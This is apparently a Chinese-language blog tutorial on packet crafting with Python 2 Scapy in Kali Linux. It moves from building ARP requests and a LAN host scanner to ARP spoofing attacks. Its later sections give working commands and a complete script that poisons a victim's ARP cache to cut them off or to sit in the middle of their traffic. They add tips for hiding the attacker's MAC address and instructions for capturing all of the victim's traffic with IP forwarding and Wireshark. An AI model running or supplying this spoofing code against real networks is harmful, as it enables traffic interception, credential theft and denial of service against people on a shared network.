scapy主要基于二、三、四层工作,通过自己构造数据包发送。
在kali Linux系统中可以直接输入scapy模块,进行构造数据包。在python中需要先导入scapy模块。下面用的python版本是2.x
1.构造ARP请求并发送
>>> arp = ARP() //这里把ARP()类实例化成arp
>>> dir(arp) //查看arp的方法有哪些
[ '_name', '_overload_fields', '_pkt', '_show_or_dump', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding',
.............................
.............................
'underlayer', 'upper_bonds', 'who_has']
>>> arp.show() //查看arp类的参数有哪些
###[ ARP ]###
hwtype= 0x1 #以太网,这里用的0x1表示
ptype= 0x800 # 基于ipv4协议的
hwlen= 6
plen= 4
op= who-has #表示包的作用是响应包还是请求包。可以通过 1(who-has)和 2(is-at)的数字设置。is-at表示响应包
hwsrc= 00:0c:29:ba:f7:45 #源MAC地址
psrc= 10.10.10.11 #源IP地址
hwdst= 00:00:00:00:00:00 #目的MAC地址
pdst= 0.0.0.0 #目的IP地址
————————————————————————————————————————————————————————————————
>>> arp.pdst="10.10.10.12" #设置接收的主机IP
>>> sr1(arp) #发送并接收返回的包
Begin emission:
.*Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
>
>>> send(arp) #只是发送一个arp包
.
Sent 1 packets.
>>> arp.pdst="10.10.10.156" #这里设置了一个不存在的IP
>>> sr1(arp,timeout=0.1,verbose=0)
WARNING: Mac address to reach destination not found. Using broadcast.
>>> sr1(arp)
Begin emission:
.............WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.
............................................^C
Received 57 packets, got 0 answers, remaining 1 packets
注:给不存在的主机发送arp请求时,得不到任何回复,并且,如果不设timeout 参数,arp就会一直等待目标主机的答应。verbose 是设置显示的内容,不会显示多余的内容。
直接
srp1(Ether(dst='00:0c:29:ea:ed:6d')/ARP(pdst='10.10.10.10'))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets>>
注意1:这里构造包加上了数据包帧头,构造必须满足OSI七层网络模型结构,例如构造一个TCP的数据包: Ether()/IP()/TCP()
总结scapy发送与接收
只发不收:
-
send(),在第三层发包,不关心第二层的封装,第二层采用默认值
-
sendp(),在第二层发包,需要手动指定第二层的封装
发包且接收回复
-
sr()和sr1()都是在第三层发包,sr1表示只接受第一个回复
-
srp()和srp1()都是在第二层发包,srp1表示只接受第一个回复
如果目标主机不通,那么将会一直发包,因此需要加上timeout参数
sr1 与 send 表示在第三层发送,srp1与sendp表示在第二层发送
2.通过ARP()实现扫描主机
原理: 发送arp数据包时,只有主机在线的才会有回复,主机不在线会一直一直等待下去。通过这一特点实现主机扫描
root@kal:~/scan# vim arping.py
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *
def scan(prefix):
for i in range(254):
try:
ip=prefix+'.'+str(i)
response=sr1(ARP(pdst=ip),timeout=0.1,verbose=0) #发送请求包
if(response):
print ip
except KeyboardInterrupt:
print
return
def judge():
if len(sys.argv) != 2:
print "Example ./arping 192.168.10" #提示用户输入ip网段格式
sys.exit()
else:
prefix=sys.argv[1]
return prefix
def main():
prefix=judge() #简单的判断输入参数个数。
scan(prefix) #扫描局域网内存活主机
if __name__ == "__main__":
main()
缺点:arp的扫描不能路由,只能扫描同一个IP段的主机。
3.利用ARP发包实现arp断网×××
>>> arp.show()
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:ba:f7:45
psrc= 10.10.10.11
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> arp.psrc='10.10.10.2' #设置源ip为网关ip
>>> arp.pdst='10.10.10.12' #目的IP仍然设置受害者的IP
>>> send(arp)
.
Sent 1 packets.
-
通过上面的发送的包含义就是:×××机告诉受害者主机,我是网关,受害机就会相信他说的话。受害者的主机就会将之后的所有信息发送到×××者的主机(假网关),然后通过假的网关发送到外网。如果×××主机没有开启转发功能,这就实现了ARP断网×××。
-
但是这样是直接发送arp包,并没有包装Ethernet层,那么就会产生一个小小的瑕疵。×××机会发送发送广播,问那个受害机的ip的MAC地址是多少,这个消息将会有受害机响应arp请求,告知自己的MAC地址,这样就在受害机的arp缓存表中保留了×××机的MAC地址和IP。
- 这里截取了发送arp()欺骗后,受害机的arp缓存表:
这样就可以轻松的看到施展×××的主机是哪一台。
??那么如何隐藏呢??
这里我们就需要包装以太网层,将其目的MAC设置为广播地址,ARP的层的设置和上面一样,代码实现如下:
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='10.10.10.12',psrc='10.10.10.2'))
.
Sent 1 packets.
这时就没有很明显的留下痕迹,但是如果受害机把10段下的所有网络ping过的话同样能知道施展×××机的主机,这样只是比上面更保险了点。但不是绝对保险。
4. ARP发包实现双向欺骗并截取数据包
这里我就直接通过一个比较简单python的脚本实现。如果需要实现其他功能可以自己继续完善。
root@kal:~/scan# vim arpsoof.py
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *
import time
def arpsoof(ip1,ip2):
'''
这个函数只是为了发送构造的arp请求
'''
response = sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=ip1,pdst=ip2))
def double(ip1,ip2):
'''
主要是根据两个不同的需求进行调用arpsoof函数
'''
print "1. 中间人×××"
print "2. 断网×××"
choose = int(raw_input())
print choose
if choose == 1:
while True:
try:
arpsoof(ip1,ip2)
arpsoof(ip2,ip1)
time.sleep(2)
except KeyboardInterrupt:
print
return
elif choose == 2:
while True:
try:
arpsoof(ip1,ip2)
time.sleep(2)
except KeyboardInterrupt:
print
return
else:
print "输入错误....\n"
double(ip1,ip2)
def main():
'''
实现输入网关IP和×××者IP的功能模块
'''
try:
ip1 = raw_input('*******请输入网关IP:')
ip2 = raw_input('*******请输入受×××者IP:')
double(ip1,ip2)
except KeyboardInterrupt:
print "\n"
print "*******1. 重新输入*******"
print "*******2. 结束程序*******"
choice = int(raw_input())
if choice == 1:
main()
elif choice ==2:
sys.exit
else:
print "输入错误,请重新输入...\n"
main()
if __name__ == "__main__":
main()
还要手动实现路由转发的功能,命令如下:
root@kal:~/scan# echo 1 > /proc/sys/net/ipv4/ip_forward
然后就可以开启wireshark进行抓包,就可以获取受害机的所有访问请求。